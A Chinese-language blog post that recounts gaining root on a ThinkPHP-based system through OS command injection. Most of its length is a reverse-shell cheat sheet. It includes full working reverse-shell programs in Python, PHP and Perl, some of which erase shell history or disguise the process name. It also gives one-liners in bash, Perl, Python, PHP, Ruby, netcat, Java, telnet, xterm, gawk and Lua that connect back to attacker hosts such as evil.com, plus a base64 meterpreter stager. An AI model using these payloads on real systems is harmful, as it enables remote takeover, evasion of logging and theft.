从一次渗透谈到linux如何反弹shell
零、绪论
背景:
ThinkPHP框架的-->
找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处。
一、渗透过程
1、首先看了一下,没有回显。
2、用ceye.io看DNSlog发现不能连接外网。
3、内网ping ok!说明可以的,确实命令执行。
4、弹bash 最常见的监听端nc
nc -p -l -v
二、下面开始弹bash:
1、最常见的bash的
bash -i >& /dev/tcp/a.b.c.d/ >&
#没成功,尝试bash -c 执行命令成功了
#尝试wget 访问我的flask http服务器OK
#尝试编码发现失败
2、追问了某大佬考虑<>及其编码字符被转移,考虑ssh反向连接或者脚本反向连接。
3、开始搞pl脚本,尝试多次失败(后来发现原因:wget从我自己搭建的flaskHTTP服务上面下反向连接脚本的时候保存的文件名不对)
4、搞python的,自己很熟悉。从朋友那里搞了一个python反向连接弹shell的脚本。通过flask和wget传到服务器上。
5、加运行权限 执行 getshell root权限
6、python脚本代码公开:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
back connect py version,only linux have pty module
code by hero
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'')
os.putenv("HISTFILESIZE",'')
pty.spawn(shell)
s.close() if __name__ == '__main__':
main()
三、从这里开始思考,linux各种反弹shell的做法:
这里先补充一个windows、linux下都可以反弹shell的php脚本
<?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = '174.124.23.5';
$port = '7788';
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()."\n------------Code by Spider-------------\n";
if($os == 'WIN') {
$env = array('path' => 'c:\\windows\\system32');
} else {
$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
} if(function_exists('fsockopen')) {
$sock = fsockopen($ipaddr,$port);
fwrite($sock,$msg);
while ($cmd = fread($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
fwrite($sock,$msg);
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
fwrite($sock,$msg);
fclose($pipes[2]);
proc_close($process);
}
}
}
fclose($sock);
} else {
$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($sock,$ipaddr,$port);
socket_write($sock,$msg);
fwrite($sock,$msg);
while ($cmd = socket_read($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[2]);
proc_close($process);
}
}
}
socket_close($sock);
}
?>
下文引自:
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考]
0x01 Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1这里shell由bash解析,有时候是由sh解析,不一定百发百中
***在虚拟机里面试过可行,替换成自己的地址和端口即可***
***/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用***
***由于其特殊性,命令执行后依旧无法找到/dev/tcp目录更不要说下面的文件了***
***注意,这里"&"在Linux shell中表示后台运行,当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO***
*** 2>&1形式用于重定向,2>表示错误重定向,&1表示标准输出;以ls >/dev/null 2>&1为例,2>&1是将标准出错重定向到标准输出,不过在这里又被重定向到了/dev/null这个无底洞里***
***这里有一个问题:为什么2>&1要写在后面,以command >file 2>&1为例,首先是command > file将标准输出重定向到file中, 2>&1 是标准错误拷贝了标准输出的行为,也就是同样被重定向到file中,最终结果就是标准输出和错误都被重定向到file中***
***其实还有一个问题,既然2>表示错误重定向,那么0>表示什么呢?查阅资料发现在Linux下输入输出重定向有三个值,其中2已经说过是标准错误信息输出,那0则是标准输入,1则为标准输出了。说到这里,其实又引出了一个新的问题,我们知道<才是表示输入的,那为何这里却是如此形式,按说就应该是2了,或者说这里0就已经是输入了,然后直接使用>进行输出,不是很清楚请大牛指点啊*** gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上还有一种不同的方法,评论中也有一些想法:###$ nc -l -p 8080 -vvv
$ exec 5<>/dev/tcp/evil.com/8080
$ cat <&5 | while read line; do $line 2>&5 >&5; done***这条语句证实可行,这里exec命令可以用来替代当前shell;换句话说,并没有启动子shell,使用这一条命令时任何现有环境变量将会被清除,并重新启动一个shell***
***exec的man手册如是说:The exec() family of functions replaces the current process image with a new process image***
***在查exec时发现一个好玩的语句:exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3这个语句的作用,应该一看就明了了,不多说,言归正传,nc监听,使用exec反弹的shell其输出只能在目标机器上看到,有图为证***另外还可以是:exec /bin/bash 0&0 2>&00<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1***在测试exec /bin/bash 0&0 2>&0语句时,遇到一个问题,终端显示No such file or directory或者干脆找不到命令,怎么让它实现还有待研究***
***研究表明,exec 2>&0即可,不需要/bin/bash,然后跟上0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196在本地监听反弹成功***0x02 Perlperl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'***使用这条命令,唯一的不同是提示符变成了sh-4.1#,实现原理和前面的bash差不多,Perl还是很强大的***
不依赖于/bin/sh的shell: ***这条语句比上面的更为简短,而且确实不需要依赖/bin/sh***
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'系统运行windows时:***突然发现windows上暂时没装Perl,下次测吧***
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'再给出一个完整的Perl的反弹脚本:
1 #!/usr/bin/perl -w
2 # perl-reverse-shell - A Reverse Shell implementation in PERL
3 use strict;
4 use Socket;
5 use FileHandle;
6 use POSIX;
7 my $VERSION = "1.0";
8
9 # Where to send the reverse shell. Change these.
10 my $ip = '127.0.0.1';
11 my $port = 1234;
12
13 # Options
14 my $daemon = 1;
15 my $auth = 0; # 0 means authentication is disabled and any
16 # source IP can access the reverse shell
17 my $authorised_client_pattern = qr(^127\.0\.0\.1$);
18
19 # Declarations
20 my $global_page = "";
21 my $fake_process_name = "/usr/sbin/apache";
22
23 # Change the process name to be less conspicious
24 $0 = "[httpd]";
25
26 # Authenticate based on source IP address if required
27 if (defined($ENV{'REMOTE_ADDR'})) {
28 cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
29
30 if ($auth) {
31 unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
32 cgiprint("ERROR: Your client isn't authorised to view this page");
33 cgiexit();
34 }
35 }
36 } elsif ($auth) {
37 cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
38 cgiexit(0);
39 }
40
41 # Background and dissociate from parent process if required
42 if ($daemon) {
43 my $pid = fork();
44 if ($pid) {
45 cgiexit(0); # parent exits
46 }
47
48 setsid();
49 chdir('/');
50 umask(0);
51 }
52
53 # Make TCP connection for reverse shell
54 socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
55 if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
56 cgiprint("Sent reverse shell to $ip:$port");
57 cgiprintpage();
58 } else {
59 cgiprint("Couldn't open reverse shell to $ip:$port: $!");
60 cgiexit();
61 }
62
63 # Redirect STDIN, STDOUT and STDERR to the TCP connection
64 open(STDIN, ">&SOCK");
65 open(STDOUT,">&SOCK");
66 open(STDERR,">&SOCK");
67 $ENV{'HISTFILE'} = '/dev/null';
68 system("w;uname -a;id;pwd");
69 exec({"/bin/sh"} ($fake_process_name, "-i"));
70
71 # Wrapper around print
72 sub cgiprint {
73 my $line = shift;
74 $line .= "<p>\n";
75 $global_page .= $line;
76 }
77
78 # Wrapper around exit
79 sub cgiexit {
80 cgiprintpage();
81 exit 0; # 0 to ensure we don't give a 500 response.
82 }
83
84 # Form HTTP response using all the messages gathered by cgiprint so far
85 sub cgiprintpage {
86 print "Content-Length: " . length($global_page) . "\r
87 Connection: close\r
88 Content-Type: text\/html\r\n\r\n" . $global_page;
89 }0x03 Python #测试环境为Linux Python2.7
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'***同样是sh-4.1#,Python真心好***
另外的形式:#[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]还有其他可行的代码
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"另外Metasploit版的代码:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))base64解码:
import socket,struct
s=socket.socket(2,1)
s.connect(('192.168.90.1',1234))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
d+=s.recv(4096)
exec(d,{'s':s})0x04 PHP #代码假设TCP连接的文件描述符为3,如果不行可以试下4,5,6
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'[https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php]为一个上传的完整php反弹shell脚本 ***php这个也相当简单***
0x05 Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'不依赖于/bin/sh的shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'如果目标系统运行Windows:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'当然还有我们很熟悉的MSF模块里面也是有反弹shell的:
#!/usr/bin/env ruby require 'socket'
require 'open3' #Set the Remote Host IP
RHOST = "192.168.1.10"
#Set the Remote Host Port
PORT = "6667" #Tries to connect every 20 sec until it connects.
begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
sock.puts "We are connected!"
rescue
sleep 20
retry
end #Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end0x06 NetCat
nc -e /bin/sh 10.0.0.1 1234 #不同版本的nc不一定支持-e选项不能使用-e选项时:
mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe/bin/sh | nc attackerip 4444rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/安装的NC版本有问题时:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f0x07 Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()msf使用为:use payload/java/shell/reverse_tcp
再见一段长代码:
import java.io.*;
import java.net.Socket;
import java.util.*;
import java.util.regex.*;
import java.applet.Applet; public class poc extends Applet{
/**
* Author: daniel baier alias duddits
* Licens: GPL
* Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher
* Version: 0.1 alpha release
*/ public String cd(String start, File currentDir) {
File fullPath = new File(currentDir.getAbsolutePath());
String sparent = fullPath.getAbsoluteFile().toString();
return sparent + "/" + start; } @SuppressWarnings("unchecked")
public void init() {
poc rs = new poc();
PrintWriter out;
try {
Socket clientSocket = new Socket("192.168.5.222",10003);
out = new PrintWriter(clientSocket.getOutputStream(), true);
out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier");
boolean run = true;
String s;
BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
String startort = "/";
while (run) {
String z1;
File f = new File(startort);
out.println(f.getAbsolutePath() + "> ");
s = br.readLine();
z1 = s;
Pattern pcd = Pattern.compile("^cd\\s");
Matcher mcd = pcd.matcher(z1);
String[] teile1 = pcd.split(z1);
if (s.equals("exit")) {
run = false;
}else if (s.equals(null) || s.equals("cmd") || s.equals("")) { } else if(mcd.find()){
try {
String cds = rs.cd(teile1[1], new File(startort));
startort = cds;
} catch (Exception verz) {
out.println("Path " + teile1[1]
+ " not found.");
} }else { String z2; z2 = s;
Pattern pstring = Pattern.compile("\\s");
String[] plist = pstring.split(z2); try { LinkedList slist = new LinkedList();
for (int i = 0; i < plist.length; i++) {
slist.add(plist[i]);
} ProcessBuilder builder = new ProcessBuilder(slist);
builder.directory(new File(startort));
Process p = builder.start();
Scanner se = new Scanner(p.getInputStream());
if (!se.hasNext()) {
Scanner sa = new Scanner(p.getErrorStream());
while (sa.hasNext()) {
out.println(sa.nextLine());
}
}
while (se.hasNext()) {
out.println(se.nextLine());
} } catch (Exception err) {
out.println(f.getAbsolutePath() + "> Command "
+ s + " failed!");
out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin.");
} }
} if(!clientSocket.isConnected()){
run = false;
out.flush();
out.close();
} } catch (Exception io) {
//System.err.println("Connection refused by peer");
} } }0x08 Telnet #nc不可用或/dev/tcp不可用时
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe***这里mknod是创建特殊文件-设备文件***
0x09 Xterm
首先开启Xserver: # TCP 6001
Xnest :1 # Note: The command starts with uppercase X授予目标机连回来的权限:
xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tab
xhost +targetip # Run this INSIDE the spawned xterm on the open X Server如果想让任何人都连上:
xhost + # Run this INSIDE the spawned xterm on the open X Server假设xterm已安装,连回你的Xserver:
xterm -display attackerip:1或者:
$ DISPLAY=attackerip:0 xterm0x10 gawk
#!/usr/bin/gawk -f BEGIN {
Port = 8080
Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}0x11 乌云上一个lua实现
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"***lua之前是真没见过,发现机器竟然一时装不上,唉,留着以后玩吧***
msf反弹:use payload/cmd/unix/reverse_lua
0x12 参考
http://roo7break.co.uk/?p=215
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
从一次渗透谈到linux如何反弹shell的更多相关文章
- 渗透测试中Linux下反弹shell的认识
最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧. 0x00 前言 在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反 ...
- linux 常用反弹shell小记
在渗透测试过程中由于防火墙和其它安全防御措施,很多服务器只能单向向外访问,不能被访问,我们常常需要反弹shell. 1.bash反弹shell 本地开启监听 nc -lvvp 受害主机命令 bash ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- linux下反弹shell
01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10 192.168.43.151 监听端 装有nc kali ...
- 内网渗透之跨边界传输 - 反弹shell
大年初一,当然是更一篇重磅文章啦 反弹shell /bin目录下带sh的都是shell nc 1.正向连接,目标机监听自身端口,攻击机主动建立连接 目标机:nc -lvvp 端口 -e /bin/ba ...
- Windows/Linux 下反弹shell
Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...
- Linux bash反弹shell原理引起的一点思考
最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问 ...
- Linux入侵 反弹shell
目录 一.简介 二.命令 三.NetCat 一.简介 黑入服务器很少会是通过账号密码的方式进入,因为这很难破解密码和很多服务器都做了限制白名单. 大多是通过上传脚本文件,然后执行脚本开启一个端口,通过 ...
- Linux下反弹shell笔记
0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 —u 则 ...
随机推荐
- 启动hive出错,提示没有权限
报错信息如下: which: no hbase in (/usr/local/sqoop-1.4.6.bin__hadoop-2.0.4-alpha/bin:/usr/local/hive/bin:/ ...
- 訪问站点时仅仅是显示主页(index.jsp),没有请求连接数据库读取数据。
两部曲: 1:在你的web.xml中的Struts2的核心过滤器的映射中添加 <filter-mapping> <dispatcher>REQUEST</disp ...
- ansible unarchive模块
unarchive模块:http://docs.ansible.com/ansible/unarchive_module.html 功能:解压缩,这个模块有两种用法: 1.将ansible主机上的压缩 ...
- PHPstorm8 自动换行设置方法
PHPstorm是一款非常不错的PHP开发工具,有很多需要自己设置.比如,IDE常见的代码自动换行功能需要我们自己去配置才能实现. File -> Settings -> Editor ...
- 判断IE浏览器的最简洁方法
<script type='text/javascript'> var ie = !-[1,]; alert(ie);</script>
- MySQL常用shell语句
1.连接数据库 格式:mysql -h ip -P port -u user -p 2.修改某一列的值 格式:update tablename set column1 = 'xxx', column2 ...
- JavaScript 学习笔记(二)
学习内容: 一.变量的定义 二.JS的基本数据类型 三.JS的基本语法 1.变量的定义: 任何语言中最基本的东西就属于变量了,那么如何定义变量以及运用,其实是一件很简单的事情.. JS中提供了如何 ...
- 使用Ultra Librarian转换芯片的Altium Designer封装格式
第一步:找到对应芯片的CAD文件,以OPA350为例: http://www.ti.com/product/opa350 RE: 使用Ultra Librarian转换TI芯片的Altium De ...
- linux下简单好用的端口映射转发工具rinetd 转
linux下简单好用的工具rinetd,实现端口映射/转发/重定向 官网地址http://www.boutell.com/rinetd 软件下载 wget http://www.boutell.com ...
- par函数fg参数-控制前景色
fg参数用来控制前景色,其实指的就是x轴和y轴的轴线和刻度线的颜色 在R语言中,会根据fg, col 任何一个参数的值,自动的将两个参数的值设置为相同的值,举个例子: par(fg = "r ...